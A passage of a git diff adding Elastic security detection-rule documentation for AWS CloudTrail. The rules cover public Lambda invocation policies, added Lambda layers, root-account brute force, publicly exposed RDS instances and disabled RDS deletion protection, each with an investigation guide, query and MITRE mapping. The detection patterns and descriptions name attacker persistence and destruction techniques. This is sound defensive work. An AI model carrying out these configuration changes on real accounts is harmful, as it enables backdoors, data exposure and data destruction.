**https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "kms.amazonaws.com" + and event.action: ("DisableKey" or "ScheduleKeyDeletion") + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Sub-technique: +** Name: Lifecycle-Triggered Deletion +** ID: T1485.001 +** Reference URL: https://attack.mitre.org/techniques/T1485/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc new file mode 100644 index 0000000000..0d4115aa4b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-aws-lambda-function-policy-updated-to-allow-public-invocation]] +=== AWS Lambda Function Policy Updated to Allow Public Invocation + +Identifies when an AWS Lambda function policy is updated to allow public invocation. This rule detects use of the AddPermission API where the Principal is set to "*", enabling any AWS account to invoke the function. Adversaries may abuse this configuration to establish persistence, create a covert execution path, or operate a function as an unauthenticated backdoor. Public invocation is rarely required outside very specific workloads and should be considered high-risk when performed unexpectedly. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.persistence.lambda-backdoor-function/ +* https://docs.aws.amazon.com/lambda/latest/api/API_AddPermission.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Function Policy Updated to Allow Public Invocation* + + +AWS Lambda policies control who can invoke a function. When the `Principal` is set to `*`, the function becomes publicly invokable by any AWS account. Adversaries may modify Lambda permissions to create a stealthy execution backdoor or to maintain persistence inside an AWS environment. This activity is uncommon in most production environments and should receive careful scrutiny when detected. + + +*Possible investigation steps* + + +**Identify the actor** +- Identify the actor who made the change by reviewing `aws.cloudtrail.user_identity.arn` and access key ID. Determine whether this principal typically administers Lambda functions. + +**Review request details** +- Review request details in `aws.cloudtrail.request_parameters` to understand the exact permission added: + - Confirm that the `Principal` is set to `"*"`. + - Note the `Action` (`lambda:InvokeFunction`) and any `SourceArn` restrictions (sometimes present, often missing in malicious cases). + +**Analyze source context** +- Check the source of the request using `source.ip`, geo information, and user agent. Unexpected networks, automation tools, or CLI usage may indicate credential compromise. + +**Correlate timing and related events** +- Evaluate timing and sequence by correlating `@timestamp` with other events. Look for surrounding actions such as: + - Creation or update of Lambda function code. + - Publishing new Lambda layers. + - Changes to roles attached to the function. + +**Assess function sensitivity and impact** +- Assess the function’s role and data sensitivity. Determine whether public invocation could: + - Enable unmonitored code execution, + - Trigger access to internal resources via the function’s IAM role, + - Be chained with persistence or privilege escalation behavior. + +**Validate operational intent** +- Validate the operational context. Confirm with the function owner whether the permission change was intentional, part of a deployment, or unexpected. + + +*False positive analysis* + + +- Public invocation may be intentional for certain workloads (e.g., webhook handlers, openly accessible compute functions). Compare the event with documentation, IaC templates, or the deployment pipeline. +- Some teams may regularly modify permissions during testing or refactoring; check whether this aligns with existing workflows. +- Evaluate whether the function already had permissive invocation policies and whether the update is part of expected configuration drift. + + +*Response and remediation* + + +- Remove unauthorized public invocation permissions immediately by reverting the Lambda function policy to the approved baseline. +- Investigate for follow-on activity: execution of the function, updates to code, modifications to IAM roles, or API calls issued using the function's role. +- Rotate or disable credentials associated with the identity that issued the `AddPermission` call if compromise is suspected. +- Enable or refine monitoring for Lambda policy updates, layer additions, and code changes to detect future unauthorized modifications. +- Conduct a security review of the Lambda function and any downstream resources it can access to ensure no misuse has occurred. +- Work with the application team to enforce least-privilege invocation policies and deploy guardrails (e.g., SCPs, IAM Conditions, or automated compliance checks) preventing public invocation unless explicitly authorized. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.provider == "lambda.amazonaws.com" + and event.outcome == "success" + and event.action : "AddPermission*" + and stringContains(aws.cloudtrail.request_parameters, "lambda:InvokeFunction") + and stringContains(aws.cloudtrail.request_parameters, "principal=\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-lambda-layer-added-to-existing-function.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-lambda-layer-added-to-existing-function.asciidoc new file mode 100644 index 0000000000..19b424aa9a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-lambda-layer-added-to-existing-function.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-aws-lambda-layer-added-to-existing-function]] +=== AWS Lambda Layer Added to Existing Function + +Identifies when a Lambda layer is added to an existing AWS Lambda function. Lambda layers allow shared code, dependencies, or runtime modifications to be injected into a function’s execution environment. Adversaries with the ability to update function configurations may add a malicious layer to establish persistence, run unauthorized code, or intercept data handled by the function. This activity should be reviewed to ensure the modification is expected and authorized. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence +* https://docs.aws.amazon.com/lambda/latest/api/API_PublishLayerVersion.html +* https://docs.aws.amazon.com/lambda/latest/api/API_UpdateFunctionConfiguration.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Lambda +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Lambda Layer Added to Existing Function* + + +Lambda layers introduce external code artifacts into a function’s runtime. Adding a layer to an existing Lambda function +modifies its execution environment and may allow an adversary to run arbitrary code, intercept data, or maintain +persistence without altering the function source itself. This detection highlights successful configuration updates using +`PublishLayerVersion*` or `UpdateFunctionConfiguration*`. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and the `access_key_id`. Determine whether the actor normally administers Lambda or has recently exhibited unusual behavior. + +**Review what was modified** +- Inspect `aws.cloudtrail.request_parameters` to identify which layer ARN was added, the function name and region, whether multiple layers were applied at once or in rapid succession. +- Compare the added layer version against known and approved layer catalogs. + +**Validate the operational context** +- Check the time of the update (`@timestamp`) to see if it aligns with known release pipelines or deployment windows and Normal working hours for the responsible team. +- Determine whether a CI/CD pipeline or IaC tool was expected to update this function. + +**Assess where the change came from** +- Review `source.ip` and `user_agent.original` for signs of console access from unusual locations, access via previously unused automation tools, suspicious programmatic access consistent with compromised keys. + +**Correlate with additional activity** +- Look for preceding or subsequent events such as: + - Creation of new Lambda layers (`PublishLayerVersion`). + - IAM role modifications affecting the Lambda function. + - Increased invocation volume or unusual invocation patterns after the layer addition. +- Search for other functions modified by the same actor or from the same IP. + + +*False positive analysis* + + +- Confirm whether the change aligns with a planned deployment, application update, or dependency upgrade. +- Determine whether the user or automation role commonly modifies Lambda function configurations. +- Validate the legitimacy of the added layer by checking internal documentation or release notes. + + +*Response and remediation* + + +- Remove or roll back the added layer if the modification appears unauthorized or suspicious. +- Review the layer contents, especially for newly published layers, to verify integrity and legitimacy. +- Investigate the IAM role or user responsible for the change and rotate compromised credentials if necessary. +- Tighten permissions by ensuring only approved roles can modify Lambda configurations or publish new layers. +- Implement monitoring for subsequent Lambda configuration changes, invocation anomalies caused by the injected layer, additional persistence techniques targeting serverless infrastructure. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: aws.cloudtrail + and event.provider: lambda.amazonaws.com + and event.outcome: success + and event.action: (PublishLayerVersion* or UpdateFunctionConfiguration*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-management-console-brute-force-of-root-user-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-management-console-brute-force-of-root-user-identity.asciidoc new file mode 100644 index 0000000000..734ff94248 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-management-console-brute-force-of-root-user-identity.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-aws-management-console-brute-force-of-root-user-identity]] +=== AWS Management Console Brute Force of Root User Identity + +Identifies a high number of failed authentication attempts to the AWS management console for the Root user identity. An adversary may attempt to brute force the password for the Root user identity, as it has complete access to all services and resources for the AWS account. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Management Console Brute Force of Root User Identity* + + +The AWS Management Console provides a web interface for managing AWS resources. Because the root user has unrestricted privileges, repeated failed console login attempts targeting this identity represent a high-risk credential access event. Even if no login succeeded, this activity may indicate reconnaissance, password spraying, or credential stuffing attempts targeting the root user. + +This rule uses a threshold rule that detects a high number of failed `ConsoleLogin` events (`event.outcom: failure` with `userIdentity.type: Root`) within a short timeframe from the same IP address or user agent. +Threshold rules only summarize grouped field values, so analysts must use timeline to review the actual events that triggered the alert. + + +*Possible investigation steps* + + +- **Review in Timeline.** + Open the alert and *Investigate in timeline* to view the individual CloudTrail events contributing to the threshold alert. Review: + - `source.ip`, `user_agent.original`, `geo fields` and `@timestamp` for each failure. + - Look for patterns such as distributed sources or repeated retries at consistent intervals. + - Look for any corresponding successful `ConsoleLogin` events around the same timeframe from the same IP or agent. + +- **Assess IP reputation and geolocation.** + Use IP intelligence tools to evaluate whether the source addresses belong to known cloud providers, TOR nodes, or foreign regions outside your normal operations. + - Correlate against `cloud.region` and `geo fields` and compare with expected login locations for your organization. + +- **Check for related activity.** + Review CloudTrail for other API calls from the same source IP (for example, `GetSessionToken`, `AssumeRole`, or `ListUsers`) that may indicate scripted credential testing or discovery. + +- **Correlate with GuardDuty findings.** + GuardDuty may raise complementary findings for anomalous console login behavior or brute force attempts. Review recent GuardDuty and AWS Config alerts for the same timeframe. + +- **Determine business context.** + Confirm whether the source IPs are internal (for example, corporate VPN, IT admin network) or part of legitimate red-team or third-party testing. If uncertain, treat as suspicious. + + +*False positive analysis* + + +- **Forgotten or mistyped credentials.** + Repeated failed logins from known internal IPs could indicate a legitimate user typing errors. Validate by checking if a successful root login followed soon after. +- **Automation or scanners.** + Misconfigured monitoring tools or old browser sessions attempting to reuse cached credentials may trigger this rule. +- **Planned penetration testing.** + Red-team or security testing activities can generate deliberate brute force attempts. Verify via ticketing or testing schedules. + + +*Response and remediation* + + +> The AWS Incident Response Playbooks classify root login attempts as Priority-1 credential compromise events. +> Follow these steps whether or not your organization has a formal IR team. + +**Immediate containment** +- **Check for success.** + After pivoting to Timeline, confirm whether any `ConsoleLogin` events from the same IP or user agent show `event.oucome: success`. + - If a successful login occurred, immediately follow the *AWS Management Console Root Login* rule investigation guide. +- **Rotate the root password.** + Use AWS’s password reset function to set a strong, unique password stored in an offline vault. +- **Enable or verify Multi-Factor Authentication (MFA)** on the root account. If MFA was already configured, review the device registration for changes or suspicious resets. +- **Block offending IPs or networks.** + Use AWS WAF, VPC network ACLs, or Security Groups to temporarily block the IPs used in the failed attempts. +- **Alert internal teams.** + Notify your security operations or cloud governance teams of the brute force pattern and actions taken. + +**Evidence preservation** +- Export all failed `ConsoleLogin` events visible in Timeline (±30 minutes around the alert window) to a restricted evidence bucket. +- Preserve GuardDuty findings, AWS Config history, and CloudTrail logs for the same timeframe for further analysis. + +**Scoping and investigation** +- Query CloudTrail across other AWS accounts and regions for additional failed or successful `ConsoleLogin` events from the same IPs. +- Check IAM activity for simultaneous key creation, role modifications, or new users — signs of lateral or parallel intrusion attempts. +- Review network telemetry (VPC Flow Logs, CloudFront, WAF) to determine whether the activity originated from a distributed or scripted attack pattern. + +**Recovery and hardening** +- Confirm MFA is enabled and enforced on the root account. +- Remove any root access keys (none should exist under normal security posture). +- Enable organization-wide CloudTrail, GuardDuty, and Security Hub across all regions. +- Set up real-time alerts for any future `ConsoleLogin` failures from the root user exceeding expected baselines. +- Store root credentials offline with dual-custody and document controlled access procedures. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS IR Playbooks]:** See “Credential Compromise” and “Account Compromise” for investigation, containment, and escalation guidance. +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]:** Reference runbooks for failed-login response, evidence preservation, and MFA enforcement. +- **AWS Documentation:** https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root[Tasks that require the root user]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:aws.cloudtrail and +event.provider:signin.amazonaws.com and +event.action:ConsoleLogin and +aws.cloudtrail.user_identity.type:Root and +event.outcome:failure + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-made-public.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-made-public.asciidoc new file mode 100644 index 0000000000..bc034cb050 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-made-public.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-20-aws-rds-db-instance-made-public]] +=== AWS RDS DB Instance Made Public + +Identifies the creation or modification of an Amazon RDS DB instance or cluster where the "publiclyAccessible" attribute is set to "true". Publicly accessible RDS instances expose a network endpoint on the public internet, which may allow unauthorized access if combined with overly permissive security groups, weak authentication, or misconfigured IAM policies. Adversaries may enable public access on an existing instance, or create a new publicly accessible instance, to establish persistence, move data outside of controlled network boundaries, or bypass internal access controls. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBInstance.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.DBInstance.Modifying.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence#make-instance-publicly-accessible-rds-modifydbinstance +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc#rds-createdbinstance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance Made Public* + + +This rule detects when an Amazon RDS DB instance or cluster is created or modified with +`publiclyAccessible=true`. While some environments operate publicly accessible RDS instances, +unexpected exposure of a database to the internet is a meaningful security risk. Adversaries who +gain access to AWS credentials may modify a DB instance’s public accessibility to exfiltrate data, +establish persistence, or bypass internal network restrictions. + + +*Possible Investigation Steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `access_key_id` to determine which IAM principal made the change. + - Determine whether the user, role, or automation service typically manages RDS configurations. + +- **Examine the request parameters** + - Review `aws.cloudtrail.request_parameters` for: + - `publiclyAccessible=true` + - DBInstanceIdentifier / DBClusterIdentifier + - Additional changes included in the same modification request (e.g., master user changes, security group updates) + +- **Validate the target resource** + - Determine the sensitivity of the instance: + - What data does it store? + - Is it production, staging, dev, or ephemeral? + - Confirm whether the instance was previously private. + +- **Assess network exposure** + - Check associated security groups for: + - `0.0.0.0/0` (unrestricted ingress) + - Unexpected IP ranges + - Review VPC/subnet placement to determine if the instance is reachable externally. + +- **Correlate with other recent CloudTrail activity** + - Look for related events performed by the same actor: + - `AuthorizeSecurityGroupIngress` + - `ModifyDBInstance` + - IAM policy modifications enabling broader DB access + - Look for indicators of credential misuse: + - unusual `source.ip` + - unusual `user_agent.original` + - MFA not used (`session_context.mfa_authenticated=false`) + +- **Validate intent with owners** + - Contact the service or database owner to confirm whether the change was an approved part of a deployment or migration. + + +*False Positive Analysis* + + +- **Expected public-access configuration** + - Some workloads intentionally require public access (e.g., internet-facing reporting tools). + - Validate against change management tickets, deployment pipelines, or Terraform/IaC automation logs. + + +*Response and Remediation* + + +- **Containment** + - If exposure is unauthorized: + - Modify the instance to disable public access (`publiclyAccessible=false`). + - Restrict the security group inbound rules immediately. + - Snapshot the instance to preserve state if compromise is suspected. + +- **Investigation** + - Review all recent actions from the same IAM principal. + - Check for data access patterns (CloudWatch, RDS Enhanced Monitoring, VPC Flow Logs). + - Identify whether this exposure correlates with suspicious outbound network activity. + +- **Hardening** + - Require private-only RDS instances unless explicitly documented. + - Enforce security group least privilege and block public DB access via: + - AWS Config rules (`rds-instance-public-access-check`) + - Service Control Policies (SCPs) preventing public RDS settings + - Implement continuous monitoring for network or configuration drift. + +- **Recovery** + - Restore the database to a private subnet if necessary. + - Rotate credentials used by the DB instance and associated applications. + - Document the incident and update policies or IaC templates to prevent recurrence. + + +*Additional Information:* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +any where event.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.outcome == "success" + and ( + (event.action == "ModifyDBInstance" and stringContains(aws.cloudtrail.request_parameters, "publiclyAccessible=true")) + or + (event.action in ("CreateDBInstance", "CreateDBCluster") and stringContains(aws.cloudtrail.request_parameters, "publiclyAccessible=true")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc new file mode 100644 index 0000000000..7e6bff4aea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-aws-rds-db-instance-or-cluster-deletion-protection-disabled]] +=== AWS RDS DB Instance or Cluster Deletion Protection Disabled + +Identifies the modification of an AWS RDS DB instance or cluster to disable the deletionProtection feature. Deletion protection prevents accidental or unauthorized deletion of RDS resources. Adversaries with sufficient permissions may disable this protection as a precursor to destructive actions, including the deletion of databases containing sensitive or business-critical data. This rule alerts when deletionProtection is explicitly set to false on an RDS DB instance or cluster. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBInstance.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_DeleteInstance.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Impact + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance or Cluster Deletion Protection Disabled* + + +Deletion protection is designed to safeguard RDS DB instances and clusters from accidental or unauthorized deletion. An adversary with privileged access in a compromised environment, can disable this safeguard before issuing a `DeleteDBInstance` or `DeleteDBCluster` action. This rule detects successful attempts to modify deletionProtection and set it to false on any RDS instance or cluster. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `access_key_id` to determine which IAM principal made the change. + - Validate whether this principal normally performs RDS lifecycle operations. + +- **Review Event Details** + - Inspect `aws.cloudtrail.request_parameters` to confirm the targeted DB instance or cluster identifier. + - Confirm that the request explicitly contains `deletionProtection=false`. + +- **Contextualize the Change** + - Determine if recent activities justify the removal of deletion protection (migration, decommissioning, or maintenance). + - Compare the timestamp to normal operational hours or deployment windows. + +- **Correlate with Additional Activity** + - Look for subsequent or preceding RDS actions such as: + - `DeleteDBInstance` + - `DeleteDBCluster` + - Security group modifications + - Changes to parameter groups or backup retention policies. + - Sudden removal of backups or snapshots may indicate imminent destructive activity. + +- **Verify Environmental Risk** + - Assess the sensitivity of data stored in the affected DB instance or cluster. + - Determine if the instance is production, customer-facing, or mission-critical. + +- **Interview Relevant Personnel** + - Confirm with service owners or DB administrators whether the modification was intended and approved. + + +*False positive analysis* + + +- **Expected Decommissioning** + - Instances undergoing teardown or migration legitimately require deletion protection to be disabled first. + +- **Inconsistent Historical Behavior** + - Compare the action to historical modification patterns for the user or role. If the action aligns with past legitimate changes, it may not be suspicious. + + +*Response and remediation* + + +- **Immediate Remediation** + - If unauthorized, re-enable deletion protection (`deletionProtection=true`) on the affected DB instance or cluster. + - Review security groups, backup retention, and snapshot policies for additional unauthorized changes. + +- **Access Review** + - Investigate credential exposure for the IAM principal that performed the action. + - Rotate access keys or temporarily revoke permissions if compromise is suspected. + +- **Containment** + - If destructive intent is suspected, apply guardrails (e.g., IAM condition keys, SCPs) to prevent DB deletion. + +- **Audit and Harden** + - Ensure RDS instances adhere to least-privilege principles. + - Restrict who can modify `ModifyDBInstance` or `ModifyDBCluster` destructive settings, such as deletion protection, backup retention, and public accessibility. + +- **Incident Response Activation** + - Treat unauthorized removal of deletion protection as a high-risk precursor to data destruction. + - Trigger IR processes for containment, root cause analysis, and post-incident hardening. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +any where event.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.action in ("ModifyDBInstance", "ModifyDBCluster") + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "deletionProtection=false") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-or-cluster-password-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-rds-db-instance-or-cluster-password-modified.asciidoc new file mode 100644 index 0000000000..9ef60537ec --- /dev/null +++ 